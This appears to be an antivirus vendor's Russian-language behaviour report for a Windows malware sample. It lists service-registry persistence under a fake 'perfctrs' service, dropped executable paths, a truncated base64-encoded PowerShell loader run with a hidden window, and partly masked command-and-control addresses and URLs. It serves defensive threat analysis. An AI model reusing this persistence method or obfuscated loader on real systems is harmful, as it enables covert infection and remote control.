Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\perfctrs] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\perfctrs] 'ImagePath' = '"%WINDIR%\SysWOW64\vfpodbc\perfctrs.exe"'
- 'perfctrs' "%WINDIR%\SysWOW64\vfpodbc\perfctrs.exe"
- 'perfctrs' %WINDIR%\SysWOW64\vfpodbc\perfctrs.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGMAegAyAGUAdgBnAD0AKAAnAEwAYwAnACsAKAAnADMAJwArACcAdwA2AGoAagAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIAbwBGAGkAbABFAFwAUABQAGoAUABEAEwASABcAE...
- %HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe
- %WINDIR%\syswow64\vfpodbc\perfctrs.exe
- %HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe в %WINDIR%\syswow64\vfpodbc\perfctrs.exe
- '96.#27.52.8':443
- http://ev###appen.com/wp-content/ja/
- http://96.##7.52.8:443/MpSBiWw0VMz/3PcpFtUJP620dxwr/d8oglx63qqjU/V8siLCS6XKhlRp/ via 96.#27.52.8
- DNS ASK ev###appen.com
- '%HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe'
- '%WINDIR%\syswow64\vfpodbc\perfctrs.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGMAegAyAGUAdgBnAD0AKAAnAEwAYwAnACsAKAAnADMAJwArACcAdwA2AGoAagAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIAbwBGAGkAbABFAFwAUABQAGoAUABEAEwASABcAE...' (со скрытым окном)